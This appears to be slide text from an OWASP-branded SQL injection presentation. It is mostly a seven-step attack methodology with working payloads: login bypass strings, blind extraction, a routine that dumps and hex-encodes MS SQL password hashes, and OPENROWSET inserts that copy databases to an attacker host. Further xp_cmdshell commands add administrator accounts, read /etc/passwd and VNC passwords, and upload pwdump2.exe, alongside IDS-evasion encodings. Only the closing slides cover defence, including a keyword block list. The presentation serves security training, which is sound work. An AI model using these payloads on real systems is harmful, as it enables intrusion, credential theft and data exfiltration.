SQL Queries
With SQL, we can query a database and have a result set returned
Using the previous table, a query like this:SELECT LastName
FROM users WHERE UserID = 1;
Gives a result set like this:LastName--------------Smith
SQL Data Manipulation Language (DML)
SQL includes a syntax to update, insert, and delete records:SELECT - extracts dataUPDATE - updates data INSERT INTO - inserts new data DELETE - deletes data
SQL Data Definition Language (DDL)
The Data Definition Language (DDL) part of SQL permits: Database tables to be created or deleted Define indexes (keys) Specify links between tables Impose constraints between database tables
Some of the most commonly used DDL statements in SQL are: CREATE TABLE - creates a new database table ALTER TABLE - alters (changes) a database table DROP TABLE - deletes a database table
Metadata
Almost all SQL databases are based on the RDBM (Relational Database Model)
One important fact for SQL Injection Amongst Codd's 12 rules for a Truly
Relational Database System:1. Metadata (data about the database) must be stored
in the database just as regular data is
Therefore, database structure can also be read and altered with SQL queries
What is SQL Injection?
The ability to inject SQL
commands into the database
engine
through an existing application
How common is it?
It is probably the most common Website vulnerability today!
It is a flaw in "web application" development, it is not a DB or web server problem Most programmers are still not aware of this problem A lot of the tutorials & demo “templates” are vulnerable Even worse, a lot of solutions posted on the Internet are
not good enough
In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection
Vulnerable Applications
Almost all SQL databases and programming languages are potentially vulnerable MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access,
Sybase, Informix, etc Accessed through applications developed using:
Perl and CGI scripts that access databases ASP, JSP, PHP XML, XSL and XSQL Javascript VB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) many more
How does SQL Injection work?
Common vulnerable login query SELECT * FROM users WHERE login = 'victor'AND password = '123'(If it returns something then login!)ASP/MS SQL Server login syntaxvar sql = "SELECT * FROM usersWHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
Injecting through Strings
formusr = ' or 1=1 – – formpwd = anything
Final query would look like this:SELECT * FROM usersWHERE username = ' ' or 1=1
– – AND password = 'anything'
The power of '
It closes the string parameterEverything after is considered part of the
SQL commandMisleading Internet suggestions include:
Escape it! : replace ' with ' 'String fields are very common but there
are other types of fields:NumericDates
If it were numeric?
SELECT * FROM clients WHERE account = 12345678AND pin = 1111
PHP/MySQL login syntax$sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin";
Injecting Numeric Fields
$formacct = 1 or 1=1 # $formpin = 1111
Final query would look like this:SELECT * FROM clientsWHERE account = 1 or 1=1 # AND pin = 1111
SQL Injection Characters
' or " character String Indicators -- or # single-line comment /*…*/ multiple-line comment + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator ?Param1=foo&Param2=bar URL Parameters PRINT useful as non transactional command @variable local variable @@variable global variable waitfor delay '0:0:10' time delay
The OWASP Foundationhttp://www.owasp.org/
Methodology
SQL Injection Testing Methodology
1) Input Validation
2) Info. Gathering
6) OS Cmd Prompt
7) Expand Influence
4) Extracting Data
3) 1=1 Attacks 5) OS Interaction
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
6) OS Cmd Prompt4) Extracting Data
7) Expand Influence
1) Input Validation
Discovery of Vulnerabilities
Vulnerabilities can be anywhere, we check all entry points: Fields in web forms Script parameters in URL query strings Values stored in cookies or hidden fields
By "fuzzing" we insert into every one: Character sequence: ' " ) # || + > SQL reserved words with white space delimiters
%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)
Delay query ' waitfor delay '0:0:10'--
2) Information Gathering
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
6) OS Cmd Prompt4) Extracting Data
7) Expand Influence
1) Input Validation
2) Information Gathering
We will try to find out the following:a) Output mechanismb) Understand the queryc) Determine database typed) Find out user privilege levele) Determine OS interaction level
a) Exploring Output Mechanisms
1. Using query result sets in the web application2. Error Messages
Craft SQL queries that generate specific types of error messages with valuable info in them
3. Blind SQL Injection Use time delays or error signatures to determine
extract information Almost the same things can be done but Blind Injection
is much slower and more difficult
4. Other mechanisms e-mail, SMB, FTP, TFTP
Extracting information through Error Messages
Grouping Error ' group by columnnames having 1=1 - -
Type Mismatch ' union select 1,1,'text',1,1,1 - - ' union select 1,1, bigint,1,1,1 - -
Where 'text' or bigint are being united into an int column
In DBs that allow subqueries, a better way is: ' and 1 in (select 'text' ) - -
In some cases we may need to CAST or CONVERT our data to generate the error messages
Blind Injection
We can use different known outcomes ' and condition and '1'='1
Or we can use if statements '; if condition waitfor delay '0:0:5' -- '; union select if( condition , benchmark (100000,
sha1('test')), 'false' ),1,1,1,1; Additionally, we can run all types of queries but
with no debugging information! We get yes/no responses only
We can extract ASCII a bit at a time... Very noisy and time consuming but possible with
automated tools like SQueaL
b) Understanding the Query
The query can be: SELECT UPDATE EXEC INSERT Or something more complex
Context helps What is the form or page trying to do with our input? What is the name of the field, cookie or parameter?
SELECT Statement
Most injections will land in the middle of a SELECT statement
In a SELECT clause we almost always end up in the WHERE section:SELECT *
FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x
UPDATE statement
In a change your password section of an app we may find the followingUPDATE users
SET password = 'new password'WHERE login = logged.userAND password = 'old password' If you inject in new password and comment the
rest, you end up changing every password in the table!
Determining a SELECT Query Structure
1. Try to replicate an error free navigation Could be as simple as ' and '1' = '1 Or ' and '1' = '2
2. Generate specific errors Determine table and column names
' group by columnnames having 1=1 -- Do we need parenthesis? Is it a subquery?
Is it a stored procedure?
We use different injections to determine what we can or cannot do ,@variable?Param1=foo&Param2=barPRINTPRINT @@variable
Tricky Queries
When we are in a part of a subquery or begin - end statement We will need to use parenthesis to get out Some functionality is not available in subqueries (for
example group by, having and further subqueries) In some occasions we will need to add an END
When several queries use the input We may end up creating different errors in different
queries, it gets confusing!
An error generated in the query we are interrupting may stop execution of our batch queries
Some queries are simply not escapable!
c) Determine Database Engine Type
Most times the error messages will let us know what DB engine we are working withODBC errors will display database type as part
of the driver information If we have no ODBC error messages:
We make an educated guess based on the Operating System and Web Server
Or we use DB-specific characters, commands or stored procedures that will generate different error messages
Some differences
MS SQLT-SQL
MySQL Access OraclePL/SQL
DB2 PostgresPL/pgSQL
Concatenate Strings
' '+' ' concat (" ", " ")
" "&" " ' '||' ' " "+" "
' '||' '
Null replace
Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()
Position CHARINDEX
LOCATE() InStr() InStr() InStr() TEXTPOS()
Op Sys interaction
xp_cmdshell
select into
outfile / dumpfile
#date# utf_file import from
export to
Call
Cast Yes No No No Yes Yes
More differences…
MS SQL MySQL Access
Oracle DB2 Postgres
UNION Y Y Y Y Y Y
Subselects Y N 4.0Y 4.1
N Y Y Y
Batch Queries
Y N* N N N Y
Default stored procedures
Many N N Many N N
Linking DBs Y Y N Y Y N
d) Finding out user privilege level
There are several SQL99 built-in scalar functions that will work in most SQL implementations: user or current_user session_user system_user
' and 1 in (select user ) -- '; if user ='dbo' waitfor delay '0:0:5 '-- ' union select if( user() like 'root@%',
benchmark(50000,sha1('test')), 'false' );
DB Administrators
Default administrator accounts include: sa, system, sys, dba, admin, root and many others
In MS SQL they map into dbo: The dbo is a user that has implied permissions to
perform all activities in the database. Any member of the sysadmin fixed server role who
uses a database is mapped to the special user inside each database called dbo.
Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.
3) 1=1 Attacks
1) Input Validation
5) OS Interaction
6) OS Cmd Prompt4) Extracting Data
7) Expand Influence
2) Info. Gathering
3) 1=1 Attacks
Discover DB structure
Determine table and column names ' group by columnnames having 1=1 --
Discover column name types' union select sum(columnname ) from tablename --
Enumerate user defined tables' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --
Enumerating table columns in different DBs MS SQL
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')
sp_columns tablename (this stored procedure can be used instead) MySQL
show columns from tablename Oracle
SELECT * FROM all_tab_columnsWHERE table_name='tablename '
DB2 SELECT * FROM syscat.columns
WHERE tabname= 'tablename ' Postgres
SELECT attnum,attname from pg_class, pg_attributeWHERE relname= 'tablename ' AND pg_class.oid=attrelid AND attnum > 0
All tables and columns in one query
' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --
Database Enumeration
In MS SQL Server, the databases can be queried with master..sysdatabasesDifferent databases in Server
' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --
File location of databases ' and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename >'.' ) --
System Tables
Oracle SYS.USER_OBJECTS SYS.TAB SYS.USER_TEBLES SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_TAB_COLUMNS SYS.USER_CATALOG
MySQL mysql.user mysql.host mysql.db
MS Access MsysACEs MsysObjects MsysQueries MsysRelationships
MS SQL Server sysobjects syscolumns systypes sysdatabases
4) Extracting Data
4) Extracting Data
1) Input Validation
5) OS Interaction
6) OS Cmd Prompt
7) Expand Influence
2) Info. Gathering
3) 1=1 Attacks
Password grabbing
Grabbing username and passwords from a User Defined table '; begin declare @var varchar(8000)
set @var=':' select @var=@var+' '+login+'/'+password+' ' from users where login>@varselect @var as var into temp end --
' and 1 in (select var from temp) -- ' ; drop table temp --
Create DB Accounts
MS SQL exec sp_addlogin 'victor', 'Pass123' exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL INSERT INTO mysql.user (user, host, password) VALUES ('victor',
'localhost', PASSWORD('Pass123'))Access
CREATE USER victor IDENTIFIED BY 'Pass123'Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'Oracle
CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
GRANT CONNECT TO victor; GRANT RESOURCE TO victor;
Grabbing MS SQL Server Hashes
An easy query: SELECT name, password FROM sysxlogins
But, hashes are varbinary To display them correctly through an error message we
need to Hex them And then concatenate all We can only fit 70 name/password pairs in a varchar We can only see 1 complete pair at a time
Password field requires dbo access With lower privileges we can still recover user names
and brute force the password
What do we do?
The hashes are extracted using SELECT password FROM master..sysxlogins
We then hex each hashbegin @charvalue='0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) BEGINdeclare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 END
And then we just cycle through all passwords
Extracting SQL Hashes
It is a long statement'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end --
Extract hashes through error messages
' and 1 in (select x from temp) -- ' and 1 in (select substring (x, 256, 256)
from temp) -- ' and 1 in (select substring (x, 512, 256)
from temp) --etc… ' drop table temp --
Brute forcing Passwords
Passwords can be brute forced by using the attacked server to do the processing
SQL Crack Script create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join
sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0
drop table tempdb..passwords
Transfer DB structure and data
Once network connectivity has been tested
SQL Server can be linked back to the attacker's DB by using OPENROWSET
DB Structure is replicatedData is transferred It can all be done by connecting to a
remote port 80!
Create Identical DB Structure
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases --
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects --
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_syscolumns')select * from user_database.dbo.syscolumns --
Transfer DB
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..table1')select * from database..table1 --'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..table2')select * from database..table2 --
5) OS Interaction
5) OS Interaction
6) OS Cmd Prompt
7) Expand Influence
1) Input Validation
2) Info. Gathering
3) 1=1 Attacks
4) Extracting Data
Interacting with the OS
Two ways to interact with the OS:1. Reading and writing system files from disk
Find passwords and configuration files Change passwords and configuration Execute commands by overwriting initialization or
configuration files
2. Direct command execution We can do anything
Both are restricted by the database's running privileges and permissions
MySQL OS Interaction
MySQLLOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILE create table temp( line blob ); load data infile '/etc/passwd' into table temp; select * from temp;
SELECT INTO OUTFILE
MS SQL OS Interaction
MS SQL Server '; exec master..xp_cmdshell 'ipconfig > test.txt' -- '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT
tmp FROM 'test.txt' -- '; begin declare @data varchar(8000) ; set @data='| ' ;
select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --
' and 1 in (select substring(x,1,256) from temp) -- '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
Architecture
To keep in mind always! Our injection most times will be executed on a
different server The DB server may not even have Internet access
Web Server
WebPage
Access
Database Server
Injected SQLExecution!
Application Server
InputValidation
Flaw
Assessing Network Connectivity
Server name and configuration ' and 1 in (select @@servername ) -- ' and 1 in (select srvname from master..sysservers ) -- NetBIOS, ARP, Local Open Ports, Trace route?
Reverse connections nslookup, ping ftp, tftp, smb
We have to test for firewall and proxies
Gathering IP information through reverse lookups
Reverse DNS '; exec master..xp_cmdshell 'nslookup a.com
MyIP' --Reverse Pings
'; exec master..xp_cmdshell 'ping MyIP' --OPENROWSET
'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', 'select * from table')
Network Reconnaissance
Using the xp_cmdshell all the following can be executed: Ipconfig /allTracert myIParp -anbtstat -cnetstat -ano route print
Network Reconnaissance Full Query
'; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --
' and 1 in (select substring(x,1,255) from temp) -- '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
6) OS Cmd Prompt
7) Expand Influence
3) 1=1 Attacks
4) Extracting Data
1) Input Validation
2) Info. Gathering
5) OS Interaction
6) OS Cmd Prompt
Jumping to the OS
Linux based MySQL ' union select 1, (load_file('/etc/passwd')),1,1,1;
MS SQL Windows Password Creation '; exec xp_cmdshell 'net user /add victor
Pass123'-- '; exec xp_cmdshell 'net localgroup /add
administrators victor' --Starting Services
'; exec master..xp_servicecontrol 'start','FTP Publishing' --
Using ActiveX Automation Scripts
Speech example '; declare @o int, @var int
exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'x', 'x' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1 waitfor delay '00:00:03' --
Retrieving VNC Password from Registry
'; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out output select cast(@out as bigint) as x into TEMP--
' and 1 in (select cast(x as varchar) from temp) --
7) Expand Influence
7) Expand Influence
3) 1=1 Attacks
4) Extracting Data
1) Input Validation
2) Info. Gathering
5) OS Interaction
6) OS Cmd Prompt
Hopping into other DB Servers
Finding linked servers in MS SQLselect * from sysservers
Using the OPENROWSET command hopping to those servers can easily be achieved
The same strategy we saw earlier with using OPENROWSET for reverse connections
Linked Servers
'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_sysservers')select * from master.dbo.sysservers'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_linked_sysservers')select * from LinkedServer.master.dbo.sysservers'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_linked_sysdatabases')select * from LinkedServer.master.dbo.sysdatabases
Executing through stored procedures remotely If the remote server is configured to only allow stored
procedure execution, this changes would be made:insert into
OPENROWSET('SQLoledb','uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysservers')exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'
insert intoOPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases'
Uploading files through reverse connection
'; create table AttackerTable (data text) -- '; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW') '; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --
Uploading files through SQL Injection
If the database server has no Internet connectivity, files can still be uploaded
Similar process but the files have to be hexed and sent as part of a query string
Files have to be broken up into smaller pieces (4,000 bytes per piece)
Example of SQL injection file uploading
The whole set of queries is lengthy You first need to inject a stored procedure
to convert hex to binary remotelyYou then need to inject the binary as hex in
4000 byte chunks ' declare @hex varchar(8000), @bin
varchar(8000) select @hex = '4d5a900003000… 8000 hex chars …0000000000000000000' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --
Finally you concatenate the binaries and dump the file to disk.
The OWASP Foundationhttp://www.owasp.org/
Evasion Techniques
Evasion Techniques
Input validation circumvention and IDS Evasion techniques are very similar
Snort based detection of SQL Injection is partially possible but relies on "signatures"
Signatures can be evaded easily Input validation, IDS detection AND strong
database and OS hardening must be used together
IDS Signature Evasion
Evading ' OR 1=1 signature ' OR 'unusual' = 'unusual' ' OR 'something' = 'some'+'thing' ' OR 'text' = N'text' ' OR 'something' like 'some%' ' OR 2 > 1 ' OR 'text' > 't' ' OR 'whatever' IN ('whatever') ' OR 2 BETWEEN 1 AND 3
Input validation
Some people use PHP addslashes() function to escape characterssingle quote (')double quote (")backslash (\)NUL (the NULL byte)
This can be easily evaded by using replacements for any of the previous characters in a numeric field
Evasion and Circumvention
IDS and input validation can be circumvented by encoding
Some ways of encoding parametersURL encodingUnicode/UTF-8Hex encondingchar() function
MySQL Input Validation Circumvention using Char()
Inject without quotes (string = "%"): ' or username like char(37);
Inject without quotes (string = "root"): ' union select * from users where login =
char(114,111,111,116); Load files in unions (string = "/etc/passwd"):
' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"): ' and
1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
IDS Signature Evasion using white spaces
UNION SELECT signature is different toUNION SELECTTab, carriage return, linefeed or several
white spaces may be usedDropping spaces might work even better
'OR'1'='1' (with no spaces) is correctly interpreted by some of the friendlier SQL databases
IDS Signature Evasion using comments
Some IDS are not tricked by white spacesUsing comments is the best alternative
/* … */ is used in SQL99 to delimit multirow comments
UNION/**/SELECT/**/ '/**/OR/**/1/**/=/**/1This also allows to spread the injection through
multiple fields USERNAME: ' or 1/* PASSWORD: */ =1 --
IDS Signature Evasion using string concatenation
In MySQL it is possible to separate instructions with commentsUNI/**/ON SEL/**/ECT
Or you can concatenate text and use a DB specific instruction to executeOracle
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
MS SQL '; EXEC ('SEL' + 'ECT US' + 'ER')
IDS and Input Validation Evasion using variables
Yet another evasion technique allows for the definition of variables ; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US'
+ N'ER'); EXEC (@x) EXEC SP_EXECUTESQL @x
Or even using a hex value ; declare @x varchar(80); set @x =
0x73656c65637420404076657273696f6e; EXEC (@x) This statement uses no single quotes (')
The OWASP Foundationhttp://www.owasp.org/
Defending Against SQL Injection
SQL Injection Defense
It is quite simple: input validationThe real challenge is making best
practices consistent through all your codeEnforce "strong design" in new applicationsYou should audit your existing websites and
source code
Even if you have an air tight design, harden your servers
Strong Design
Define an easy "secure" path to querying dataUse stored procedures for interacting with
databaseCall stored procedures through a
parameterized APIValidate all input through generic routinesUse the principle of "least privilege"
Define several roles, one for each kind of query
Input Validation
Define data types for each field Implement stringent "allow only good" filters
If the input is supposed to be numeric, use a numeric variable in your script to store it
Reject bad input rather than attempting to escape or modify it
Implement stringent "known bad" filters For example: reject "select", "insert", "update",
"shutdown", "delete", "drop", "--", "'"
Harden the Server
1. Run DB as a low-privilege user account2. Remove unused stored procedures and
functionality or restrict access to administrators3. Change permissions and remove "public" access
to system objects4. Audit password strength for all user accounts5. Remove pre-authenticated linked servers6. Remove unused network protocols7. Firewall the server so that only trusted clients
can connect to it (typically only: administrative network, web server and backup server)
Detection and Dissuasion
You may want to react to SQL injection attempts by: Logging the attempts Sending email alerts Blocking the offending IP Sending back intimidating error messages:
"WARNING: Improper use of this application has been detected. A possible attack was identified. Legal actions will be taken."
Check with your lawyers for proper wording
This should be coded into your validation scripts
Conclusion
SQL Injection is a fascinating and dangerous vulnerability
All programming languages and all SQL databases are potentially vulnerable
Protecting against it requires strong designcorrect input validation hardening